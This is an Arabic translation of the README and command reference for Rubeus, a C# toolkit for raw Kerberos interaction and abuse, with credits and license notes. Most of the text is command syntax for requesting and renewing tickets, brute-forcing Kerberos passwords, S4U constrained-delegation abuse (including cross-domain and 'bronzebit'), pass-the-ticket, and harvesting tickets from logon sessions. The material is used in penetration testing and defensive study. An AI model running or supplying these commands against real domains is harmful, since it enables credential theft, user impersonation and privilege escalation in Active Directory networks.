
مجموعة أدوات C# للتفاعل الخام مع Kerberos وإساءة استخدامه: طلبات TGT/TGS، وإساءة استخدام تفويض S4U، وKerberoasting، وAS-REP roasting، وحصاد التذاكر.
Rubeus هي مجموعة أدوات C# للتفاعل المباشر مع Kerberos واستغلاله. وهي مقتبسة بشكل كبير من مشروع Kekeo الخاص بـ Benjamin Delpy (رخصة CC BY-NC-SA 4.0) ومشروع MakeMeEnterpriseAdmin الخاص بـ Vincent LE TOUX (رخصة GPL v3.0). يعود الفضل الكامل إلى Benjamin وVincent في إنجاز المكونات الصعبة لعملية التسليح - فلولا عملهما السابق لما وُجد هذا المشروع.
قدم كل من Charlie Clark وCeri Coburn مساهمات كبيرة في قاعدة شيفرة Rubeus. كما ساهم Elad Shamir ببعض الأعمال الأساسية للتفويض المقيد القائم على الموارد. عملهم محل تقدير كبير!
يستخدم Rubeus أيضًا مكتبة تحليل/ترميز ASN.1 بلغة C# من Thomas Pornin تُسمى DDer صدرت برخصة "شبيهة بـ MIT". شكرًا جزيلًا لـ Thomas على شيفرته النظيفة والمستقرة!
شيفرة PKINIT مقتبسة بشكل كبير من أداة Bruce الخاصة بـ @SteveSyfuhs. جعل Bruce معيار RFC4556 (PKINIT) أسهل بكثير في الفهم. شكرًا جزيلًا لـ Steve!
طريقة KerberosRequestorSecurityToken.GetRequest الخاصة بـ Kerberoasting ساهم بها @machosec في PowerView (ثم دُمجت في Rubeus).
@harmj0y هو المؤلف الرئيسي لقاعدة الشيفرة هذه.
Rubeus مرخّص بموجب رخصة BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.6.4
Ticket requests and renewals:
استرداد TGT بناءً على كلمة مرور/تجزئة المستخدم، مع خيار حفظه في ملف أو تطبيقه على جلسة تسجيل الدخول الحالية أو LUID محدد:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec]
استرداد TGT بناءً على كلمة مرور/تجزئة المستخدم، وبدء عملية /netonly، وتطبيق التذكرة على العملية/جلسة تسجيل الدخول الجديدة:
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec]
استرداد TGT باستخدام شهادة PCKS12، وبدء عملية /netonly، وتطبيق التذكرة على العملية/جلسة تسجيل الدخول الجديدة:
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
استرداد TGT باستخدام شهادة من مخزن مفاتيح المستخدم (Smartcard) مع تحديد بصمة الشهادة أو الموضوع، وبدء عملية /netonly، وتطبيق التذكرة على العملية/جلسة تسجيل الدخول الجديدة:
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap]
استرداد تذكرة خدمة لواحد أو أكثر من SPNs، مع خيار حفظ التذكرة أو تطبيقها:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/enctype:DES|RC4|AES128|AES256] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/enterprise] [/opsec] </tgs:BASE64 | /tgs:FILE.KIRBI> [/usesvcdomain]
تجديد TGT، مع خيار تطبيق التذكرة أو حفظها أو التجديد التلقائي للتذكرة حتى حد التجديد الخاص بها:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]
تنفيذ هجوم تخمين كلمات المرور القائم على Kerberos:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
إساءة استخدام التفويض المقيّد:
تنفيذ إساءة استخدام التفويض المقيّد S4U:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/nowrap] [/opsec] [/self] [/bronzebit]
تنفيذ إساءة استخدام التفويض المقيّد S4U عبر النطاقات:
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] </impersonateuser:USER | /tgs:BASE64 | /tgs:FILE.KIRBI> /msdsspn:SERVICE/SERVER /targetdomain:DOMAIN.LOCAL /targetdc:DC.DOMAIN.LOCAL [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/self]
إدارة التذاكر:
إرسال TGT، مع خيار استهداف LUID محدد (إذا كانت لديك صلاحيات مرتفعة):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
إزالة التذاكر من جلسة تسجيل الدخول الحالية، مع خيار استهداف LUID محدد (إذا كانت لديك صلاحيات مرتفعة):
Rubeus.exe purge [/luid:LOGINID]
تحليل ووصف تذكرة (تذكرة خدمة أو TGT):
Rubeus.exe describe </ticket:BASE64 | /ticket:FILE.KIRBI>
استخراج التذاكر وجمعها:
فحص جميع التذاكر الحالية (إذا كانت الصلاحيات مرتفعة، اعرضها لجميع المستخدمين)، مع إمكانية استهداف LUID أو اسم مستخدم أو خدمة محددة:
Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]
عرض جميع التذاكر الحالية بالتفصيل (إذا كانت الصلاحيات مرتفعة، اعرضها لجميع المستخدمين)، مع إمكانية استهداف LUID محدد:
Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM]